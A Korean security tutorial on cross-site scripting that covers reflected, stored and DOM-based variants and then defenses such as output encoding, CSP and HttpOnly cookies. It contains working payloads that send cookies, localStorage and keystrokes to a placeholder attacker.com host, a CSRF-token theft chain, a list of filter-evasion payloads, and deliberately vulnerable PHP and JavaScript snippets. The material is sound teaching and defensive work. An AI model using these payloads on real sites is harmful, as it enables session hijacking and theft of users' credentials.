/보안 기법/XSS (Cross-Site Scripting) 완전 분석
웹 취약점2024-12-05

XSS (Cross-Site Scripting) 완전 분석

Reflected, Stored, DOM-based XSS의 차이점과 각각의 공격 시나리오. 쿠키 탈취, 세션 하이재킹, 피싱 등 실제 악용 방법과 CSP를 포함한 방어 전략을 정리.

#XSS#Web#OWASP#JavaScript#CSP

기본 원리: 브라우저는 스크립트를 어떻게 실행하는가

XSS를 이해하려면 먼저 브라우저가 웹 페이지를 어떻게 처리하는지 알아야 한다.

브라우저의 HTML 파싱과 스크립트 실행

브라우저는 서버에서 받은 HTML을 위에서 아래로 파싱한다. <script> 태그나 이벤트 핸들러(onclick, onerror 등)를 만나면 즉시 해당 JavaScript를 실행한다.

<!-- 서버가 보내는 HTML -->
<html>
<body>
  <p>안녕하세요, alice님</p>         <!-- 정상 텍스트 -->
  <script>alert('XSS!')</script>    <!-- 브라우저가 즉시 실행! -->
</body>
</html>

이때 브라우저는 <script>alert('XSS!')</script>가 서버가 의도한 것인지, 공격자가 삽입한 것인지 전혀 구분하지 않는다. 그냥 실행한다.

Same-Origin Policy (동일 출처 정책)

브라우저는 XSS를 막기 위해 SOP를 구현한다.

출처(Origin) = 프로토콜 + 도메인 + 포트
예: https://bank.com:443

SOP 규칙:
- https://bank.com의 JS는 https://bank.com의 쿠키/DOM에 접근 가능
- https://attacker.com의 JS는 https://bank.com의 쿠키/DOM에 접근 불가

XSS의 위험성: 공격자의 코드가 피해자의 브라우저에서, bank.com의 컨텍스트로 실행된다. SOP를 완벽하게 우회한다. bank.com에서 실행되는 JS이기 때문에 bank.com의 모든 쿠키와 DOM에 접근할 수 있다.


1. Reflected XSS — URL 기반 즉시 반사

사용자 입력이 서버를 거쳐 즉시 응답에 포함되어 실행된다.

공격 흐름:
1. 공격자: 악성 URL 생성 → 피해자에게 전달 (이메일, SNS 등)
2. 피해자: URL 클릭
3. 브라우저: 악성 URL로 서버에 요청
4. 서버: URL 파라미터를 HTML에 그대로 삽입하여 응답
5. 브라우저: 응답 파싱 중 스크립트 실행
6. 공격자: 피해자의 쿠키/세션 탈취
<!-- 취약한 PHP 코드 -->
<?php
$q = $_GET['q'];
echo "<h2>검색 결과: $q</h2>";  // 입력값을 그대로 HTML에 삽입
?>

공격 URL:

http://victim.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

서버 응답:

<h2>검색 결과: <script>document.location='https://attacker.com/steal?c='+document.cookie</script></h2>

브라우저가 이를 파싱하면 스크립트가 실행되어 쿠키가 공격자 서버로 전송된다.


2. Stored XSS — DB 저장 후 모든 방문자에게 실행

악성 스크립트가 DB에 영구적으로 저장되어, 해당 페이지를 방문하는 모든 사용자에게 실행된다. 가장 파급력이 크다.

공격 흐름:
1. 공격자: 악성 스크립트를 댓글/게시글/프로필 등에 저장
2. 피해자 A: 해당 페이지 방문 → 스크립트 실행
3. 피해자 B: 해당 페이지 방문 → 스크립트 실행
4. 피해자 C: 해당 페이지 방문 → 스크립트 실행
   (공격자가 없어도 계속 실행됨)
// 게시판 댓글에 삽입하는 XSS 페이로드

// 1. 쿠키 탈취 (세션 하이재킹)
<script>
new Image().src = 'https://attacker.com/c?cookie=' + encodeURIComponent(document.cookie);
</script>

// 2. 더 은밀한 방식 (fetch API 사용)
<script>
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        cookie: document.cookie,
        url: location.href,
        localStorage: JSON.stringify(localStorage)
    })
});
</script>

// 3. 이미지 태그 활용 (script 태그 필터링 우회)
<img src="x" onerror="this.src='https://attacker.com/c?'+document.cookie">

관리자가 해당 페이지를 방문하면 관리자 세션 쿠키를 탈취해 관리자 권한 탈취가 가능하다.


3. DOM-based XSS — 서버를 거치지 않는 클라이언트 취약점

서버는 완전히 안전한 HTML을 보내지만, 클라이언트 JavaScript가 DOM을 조작할 때 취약점이 발생한다. 서버 로그에 기록이 남지 않아 탐지가 어렵다.

// 취약한 코드: URL의 hash(#) 값을 innerHTML에 직접 삽입
// URL: https://victim.com/page.html#<img src=x onerror=alert(1)>

const name = decodeURIComponent(location.hash.slice(1));
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
// innerHTML은 HTML을 파싱하므로 태그/이벤트핸들러도 실행됨!

소스(Source)와 싱크(Sink)

DOM XSS는 소스(사용자 제어 가능 데이터)가 싱크(위험한 함수)에 도달할 때 발생한다.

주요 소스 (Source):
- location.hash        URL의 # 뒷부분
- location.search      URL의 ? 파라미터
- location.href        전체 URL
- document.referrer    이전 페이지 URL
- window.name          브라우저 탭 이름
- postMessage 데이터   다른 창에서 받은 메시지

위험한 싱크 (Sink):
- element.innerHTML    HTML 파싱 후 삽입 → 스크립트 실행
- element.outerHTML    동일
- document.write()     HTML 문서에 직접 삽입
- eval()               문자열을 JS 코드로 실행
- setTimeout('...', n) 문자열 인자를 eval처럼 실행
- location.href = ...  javascript: 프로토콜 주입 가능
// DOM XSS 예시들

// 1. location.href → location.href (javascript: 프로토콜)
// URL: page.html?redirect=javascript:alert(1)
const redirect = new URLSearchParams(location.search).get('redirect');
location.href = redirect;  // javascript: 프로토콜 실행됨

// 2. postMessage 검증 없이 사용
window.addEventListener('message', (e) => {
    document.getElementById('msg').innerHTML = e.data;  // 취약
});
// 다른 창에서: window.opener.postMessage('<img onerror=alert(1) src=x>', '*')

// 3. 안전한 대안
document.getElementById('greeting').textContent = name;  // 텍스트로만 처리
// textContent는 HTML 파싱을 하지 않으므로 안전

4. 실전 공격 시나리오

세션 하이재킹 — 관리자 계정 탈취

// 공격자가 게시판 댓글에 삽입
<script>
(function() {
    // 세션 쿠키 탈취
    var data = {
        cookie: document.cookie,
        url: location.href,
        ua: navigator.userAgent,
        time: new Date().toISOString()
    };
    
    // Beacon API: 페이지 이탈 후에도 전송 보장
    navigator.sendBeacon('https://attacker.com/collect',
        JSON.stringify(data));
})();
</script>

탈취된 쿠키를 브라우저에 설정하면 비밀번호 없이 해당 계정으로 로그인된다:

// Chrome 콘솔에서 탈취한 쿠키 설정
document.cookie = "session=STOLEN_SESSION_VALUE; path=/";
// → victim.com에서 victim의 계정으로 인증됨

Keylogger — 입력값 실시간 수집

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/key', {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify({
            key: e.key,
            target: e.target.name || e.target.id,  // 어떤 input인지
            url: location.href
        })
    });
}, true);  // 캡처 단계에서 실행 (암호 입력란도 캡처)
</script>

CSRF + XSS 조합 — CSRF 토큰 우회

현대 웹앱은 CSRF 방어로 숨겨진 토큰을 사용한다. XSS가 있으면 이 토큰도 탈취할 수 있다:

<script>
// 1단계: CSRF 토큰 탈취
fetch('/profile/edit', {credentials: 'include'})
    .then(r => r.text())
    .then(html => {
        // HTML에서 CSRF 토큰 추출
        const token = html.match(/name="csrf_token" value="([^"]+)"/)[1];
        
        // 2단계: 탈취한 토큰으로 CSRF 요청 실행
        return fetch('/admin/delete-user', {
            method: 'POST',
            credentials: 'include',
            headers: {'Content-Type': 'application/x-www-form-urlencoded'},
            body: `user_id=victim&csrf_token=${token}`
        });
    });
</script>

5. 필터 우회 기법

WAF나 입력 필터를 우회하는 다양한 방법이 있다.

<!-- 태그 변형 -->
<SCRIPT>alert(1)</SCRIPT>               <!-- 대소문자 -->
<ScRiPt>alert(1)</sCrIpT>
<scr<script>ipt>alert(1)</script>       <!-- 중첩 태그 (필터가 한 번만 치환 시) -->

<!-- 이벤트 핸들러 (script 태그 필터링 우회) -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<details open ontoggle=alert(1)>        <!-- HTML5 태그 -->
<video src=x onerror=alert(1)>

<!-- 인코딩 -->
<script>eval(atob('YWxlcnQoMSk='))</script>     <!-- Base64: alert(1) -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>  <!-- HTML 엔티티 -->
<script>\u0061\u006c\u0065\u0072\u0074(1)</script>   <!-- Unicode -->

<!-- javascript: 프로토콜 -->
<a href="javascript:alert(1)">클릭</a>
<a href="jAvAsCrIpT:alert(1)">클릭</a>  <!-- 대소문자 우회 -->
<a href="java&#9;script:alert(1)">클릭</a>  <!-- 탭 삽입 -->

<!-- CSS (구형 브라우저) -->
<div style="background:url(javascript:alert(1))">

6. 방어 방법

✅ 출력 인코딩 (Output Encoding) — 가장 중요

사용자 입력을 출력하는 컨텍스트에 맞게 인코딩한다. <&lt;로 변환하면 브라우저가 태그로 인식하지 않는다.

# Python: html.escape()
import html
safe = html.escape('<script>alert(1)</script>')
# → '&lt;script&gt;alert(1)&lt;/script&gt;'
# 브라우저에서 텍스트로 표시됨, 실행 안 됨

# Jinja2 (자동 이스케이프 - 기본값)
{{ user_input }}           # 자동 이스케이프 (안전)
{{ user_input | safe }}    # ← 이스케이프 해제! 절대 사용 금지
// JavaScript DOM 조작 시
const name = getUserInput();

// ❌ innerHTML은 HTML 파싱 → XSS 가능
element.innerHTML = name;

// ✅ textContent는 텍스트로만 처리 → XSS 불가
element.textContent = name;

// ✅ HTML을 꼭 삽입해야 한다면 DOMPurify 사용
element.innerHTML = DOMPurify.sanitize(name, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong'],
    ALLOWED_ATTR: []  // 이벤트 핸들러 속성 제거
});

✅ Content Security Policy (CSP)

CSP는 브라우저에게 "이 페이지에서는 어떤 스크립트만 실행 가능하다"고 알려준다. 인라인 스크립트 실행 자체를 차단해 XSS 페이로드를 무력화한다.

# 강력한 CSP 헤더
Content-Security-Policy: 
    default-src 'self';                    # 기본: 같은 출처만
    script-src 'self' 'nonce-{RANDOM}';   # 스크립트: nonce 있는 것만
    style-src 'self' 'unsafe-inline';     # CSS: 인라인 허용
    img-src 'self' data: https:;          # 이미지: HTTPS 전체
    connect-src 'self';                   # fetch/XHR: 같은 출처만
    frame-ancestors 'none';              # Clickjacking 방지
<!-- nonce 방식: 각 요청마다 서버가 랜덤 값 생성 -->
<!-- 서버: nonce = 랜덤 생성 후 헤더와 HTML 양쪽에 삽입 -->
<script nonce="abc123XYZ">
    // 이 스크립트만 실행 허가 (nonce 값이 헤더와 일치)
    doLegitimateWork();
</script>

<!-- 공격자의 인라인 스크립트는 nonce가 없으므로 실행 차단 -->
<script>document.location='https://attacker.com/?c='+document.cookie</script>
<!-- → CSP가 차단: Refused to execute inline script because nonce does not match -->

✅ HttpOnly + Secure 쿠키

XSS에 성공해도 쿠키를 훔치지 못하게 막는다.

# Flask
response.set_cookie(
    'session',
    value=session_token,
    httponly=True,  # JS에서 document.cookie로 접근 불가
    secure=True,    # HTTPS에서만 전송
    samesite='Strict'  # CSRF 방지
)

HttpOnly 쿠키는 document.cookie로 접근할 수 없다. XSS 페이로드가 쿠키를 읽으려 해도 빈 문자열만 반환된다.


핵심 정리

유형 저장 위치 피해 범위 서버 로그
Reflected XSS 없음 (URL) URL 클릭한 사람만 남음
Stored XSS DB 해당 페이지 모든 방문자 남음
DOM-based XSS 없음 (클라이언트) URL 클릭한 사람만 안 남음

3단계 방어 전략:

  1. 출력 인코딩 — 모든 사용자 입력을 컨텍스트에 맞게 이스케이프
  2. CSP — 인라인 스크립트 실행 자체를 차단
  3. HttpOnly 쿠키 — XSS 성공해도 세션 탈취 불가

⚠️ 이 글의 내용은 교육 및 허가된 침투 테스트 목적으로만 사용해야 합니다. 무단으로 타인의 시스템에 적용하는 것은 법적 처벌을 받을 수 있습니다.